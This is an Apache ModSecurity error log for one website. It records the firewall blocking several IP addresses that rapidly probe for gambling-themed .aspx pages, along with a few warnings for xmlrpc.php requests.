[Sat May 02 03:11:30.980178 2026] [:error] [pid 24997:tid 25062] [client 145.239.71.147:34180] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afT64vOkHa4ScY5oo8wKMQAAAMY"]
[Sat May 02 03:11:31.287132 2026] [:error] [pid 25320:tid 25346] [client 145.239.71.147:34182] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "afT641c3wJ-3-XaXB3puIgAAARc"]
[Sat May 02 03:11:32.979593 2026] [:error] [pid 25085:tid 25092] [client 145.239.71.147:34198] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afT65PuD8fWRiE0RX0E16gAAAUE"]
[Sat May 02 03:11:33.268824 2026] [:error] [pid 25320:tid 25343] [client 145.239.71.147:34206] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "afT65Vc3wJ-3-XaXB3puKgAAARQ"]
[Sat May 02 03:11:34.985336 2026] [:error] [pid 50214:tid 50228] [client 145.239.71.147:34220] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afT65os0pgrtfZkbhjOqDQAAAYo"]
[Sat May 02 03:11:35.044069 2026] [:error] [pid 33791:tid 33810] [client 145.239.71.147:34230] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "afT6529ixd-moLycM9CefQAAABA"]
[Sat May 02 03:11:36.890174 2026] [:error] [pid 33791:tid 33803] [client 145.239.71.147:40420] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "afT66G9ixd-moLycM9CeiQAAAAk"]
[Sat May 02 03:52:08.870928 2026] [:error] [pid 53436:tid 53519] [client 14.171.29.114:35625] [client 14.171.29.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.171.29.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afUEaK9N0xp8fccVM0AQ2AAAAJQ"]
[Sat May 02 04:01:45.305941 2026] [:error] [pid 53540:tid 53547] [client 142.93.114.194:31686] [client 142.93.114.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.114.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afUGqdQYV6qJFftBNymVKwAAAMU"]
[Sat May 02 04:21:02.697204 2026] [:error] [pid 53435:tid 53490] [client 38.242.238.115:45634] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "afULLoDmp7_z8QkjSzP7RQAAAFI"]
[Sat May 02 04:21:05.033191 2026] [:error] [pid 53540:tid 53550] [client 38.242.238.115:50044] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "afULMdQYV6qJFftBNymZZgAAAMg"]
[Sat May 02 04:21:07.197790 2026] [:error] [pid 53436:tid 53516] [client 38.242.238.115:50052] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "afULM69N0xp8fccVM0AgwwAAAJE"]
[Sat May 02 04:21:09.255221 2026] [:error] [pid 53436:tid 53512] [client 38.242.238.115:50060] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "afULNa9N0xp8fccVM0AgxwAAAI0"]
[Sat May 02 04:21:11.402802 2026] [:error] [pid 53436:tid 53517] [client 38.242.238.115:50066] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "afULN69N0xp8fccVM0Ag0AAAAJI"]
[Sat May 02 04:21:13.501459 2026] [:error] [pid 53540:tid 53565] [client 38.242.238.115:50336] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afULOdQYV6qJFftBNymZaQAAANc"]
[Sat May 02 04:21:15.562219 2026] [:error] [pid 53435:tid 53484] [client 38.242.238.115:50352] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afULO4Dmp7_z8QkjSzP7VwAAAEw"]
[Sat May 02 04:21:17.636373 2026] [:error] [pid 22846:tid 22867] [client 38.242.238.115:50364] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afULPYm1Ms03Mfhp3aaKbwAAARM"]
[Sat May 02 04:21:19.645894 2026] [:error] [pid 53435:tid 53473] [client 38.242.238.115:50366] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afULP4Dmp7_z8QkjSzP7XQAAAEE"]
[Sat May 02 04:21:21.905630 2026] [:error] [pid 53540:tid 53562] [client 38.242.238.115:50376] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afULQdQYV6qJFftBNymZdAAAANQ"]
[Sat May 02 04:21:24.071081 2026] [:error] [pid 53434:tid 53464] [client 38.242.238.115:40866] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afULRO9BXmRQcbfsxly4tgAAABU"]
[Sat May 02 04:21:26.115904 2026] [:error] [pid 53436:tid 53517] [client 38.242.238.115:40874] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afULRq9N0xp8fccVM0Ag3wAAAJI"]
[Sat May 02 04:21:28.132115 2026] [:error] [pid 53435:tid 53472] [client 38.242.238.115:40884] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afULSIDmp7_z8QkjSzP7aAAAAEA"]
[Sat May 02 04:21:30.189365 2026] [:error] [pid 22846:tid 22871] [client 38.242.238.115:40892] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "afULSom1Ms03Mfhp3aaKkwAAARc"]
[Sat May 02 04:21:32.376830 2026] [:error] [pid 53435:tid 53478] [client 38.242.238.115:40898] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "afULTIDmp7_z8QkjSzP7cwAAAEY"]
[Sat May 02 04:21:34.512742 2026] [:error] [pid 53434:tid 53461] [client 38.242.238.115:35164] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "afULTu9BXmRQcbfsxly40QAAABI"]
[Sat May 02 04:21:36.613219 2026] [:error] [pid 53434:tid 53446] [client 38.242.238.115:35170] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afULUO9BXmRQcbfsxly42AAAAAM"]
[Sat May 02 04:21:38.670202 2026] [:error] [pid 53435:tid 53479] [client 38.242.238.115:35172] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "afULUoDmp7_z8QkjSzP7ewAAAEc"]
[Sat May 02 04:21:40.658656 2026] [:error] [pid 53436:tid 53499] [client 38.242.238.115:35182] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "afULVK9N0xp8fccVM0AhAQAAAIA"]
[Sat May 02 04:21:42.818833 2026] [:error] [pid 53436:tid 53520] [client 38.242.238.115:35194] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "afULVq9N0xp8fccVM0AhCQAAAJU"]
[Sat May 02 04:21:44.815898 2026] [:error] [pid 22846:tid 22857] [client 38.242.238.115:47272] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "afULWIm1Ms03Mfhp3aaKtwAAAQk"]
[Sat May 02 04:21:47.034300 2026] [:error] [pid 53435:tid 53495] [client 38.242.238.115:47278] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afULW4Dmp7_z8QkjSzP7iAAAAFc"]
[Sat May 02 04:21:49.061986 2026] [:error] [pid 22846:tid 22852] [client 38.242.238.115:47292] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "afULXYm1Ms03Mfhp3aaKvAAAAQQ"]
[Sat May 02 04:21:51.049838 2026] [:error] [pid 22846:tid 22860] [client 38.242.238.115:47296] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "afULX4m1Ms03Mfhp3aaKwAAAAQw"]
[Sat May 02 04:21:53.205175 2026] [:error] [pid 53540:tid 53564] [client 38.242.238.115:47308] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afULYdQYV6qJFftBNymZiAAAANY"]
[Sat May 02 04:21:55.220056 2026] [:error] [pid 53436:tid 53501] [client 38.242.238.115:59774] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "afULY69N0xp8fccVM0AhHwAAAII"]
[Sat May 02 04:21:57.367497 2026] [:error] [pid 53436:tid 53523] [client 38.242.238.115:59780] [client 38.242.238.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "afULZa9N0xp8fccVM0AhJQAAAJg"]
[Sat May 02 04:55:13.199914 2026] [:error] [pid 22846:tid 22853] [client 62.84.185.56:49664] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afUTMYm1Ms03Mfhp3aaTagAAAQU"]
[Sat May 02 04:55:16.193275 2026] [:error] [pid 22846:tid 22856] [client 62.84.185.56:49668] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afUTNIm1Ms03Mfhp3aaTcAAAAQg"]
[Sat May 02 04:55:20.380859 2026] [:error] [pid 53435:tid 53473] [client 62.84.185.56:3778] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afUTOIDmp7_z8QkjSzMI5QAAAEE"]
[Sat May 02 04:55:23.959759 2026] [:error] [pid 53436:tid 53507] [client 62.84.185.56:3792] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afUTO69N0xp8fccVM0AwmgAAAIg"]
[Sat May 02 04:55:26.770094 2026] [:error] [pid 53435:tid 53482] [client 62.84.185.56:38972] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afUTPoDmp7_z8QkjSzMI8wAAAEo"]
[Sat May 02 04:55:29.999891 2026] [:error] [pid 53435:tid 53480] [client 62.84.185.56:38976] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afUTQYDmp7_z8QkjSzMI-gAAAEg"]
[Sat May 02 04:55:32.667174 2026] [:error] [pid 53435:tid 53478] [client 62.84.185.56:38988] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afUTRIDmp7_z8QkjSzMJBAAAAEY"]
[Sat May 02 04:55:36.269663 2026] [:error] [pid 53436:tid 53502] [client 62.84.185.56:39004] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afUTSK9N0xp8fccVM0AwtwAAAIM"]
[Sat May 02 04:55:38.978786 2026] [:error] [pid 53540:tid 53565] [client 62.84.185.56:56280] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afUTStQYV6qJFftBNymgNAAAANc"]
[Sat May 02 04:55:41.374096 2026] [:error] [pid 53434:tid 53443] [client 62.84.185.56:56296] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afUTTe9BXmRQcbfsxlzBjgAAAAA"]
[Sat May 02 04:55:44.369558 2026] [:error] [pid 22846:tid 22850] [client 62.84.185.56:56304] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afUTUIm1Ms03Mfhp3aaTfgAAAQI"]
[Sat May 02 04:55:47.073503 2026] [:error] [pid 53436:tid 53507] [client 62.84.185.56:14692] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afUTU69N0xp8fccVM0AwxwAAAIg"]
[Sat May 02 04:55:49.865457 2026] [:error] [pid 53540:tid 53558] [client 62.84.185.56:14696] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afUTVdQYV6qJFftBNymgPgAAANA"]
[Sat May 02 04:55:52.367095 2026] [:error] [pid 53436:tid 53514] [client 62.84.185.56:14706] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afUTWK9N0xp8fccVM0AwyQAAAI8"]
[Sat May 02 04:55:55.878872 2026] [:error] [pid 53435:tid 53488] [client 62.84.185.56:14716] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afUTW4Dmp7_z8QkjSzMJrQAAAFA"]
[Sat May 02 04:55:58.965655 2026] [:error] [pid 53436:tid 53519] [client 62.84.185.56:58928] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afUTXq9N0xp8fccVM0AwywAAAJQ"]
[Sat May 02 04:56:02.190989 2026] [:error] [pid 53434:tid 53443] [client 62.84.185.56:58944] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afUTYu9BXmRQcbfsxlzBowAAAAA"]
[Sat May 02 04:56:04.979102 2026] [:error] [pid 53435:tid 53489] [client 62.84.185.56:58946] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afUTZIDmp7_z8QkjSzMJtwAAAFE"]
[Sat May 02 04:57:50.092772 2026] [:error] [pid 22846:tid 22854] [client 62.84.185.56:28126] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "afUTzom1Ms03Mfhp3aaT2AAAAQY"]
[Sat May 02 04:57:52.987934 2026] [:error] [pid 53436:tid 53521] [client 62.84.185.56:28130] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "afUT0K9N0xp8fccVM0AyDQAAAJY"]
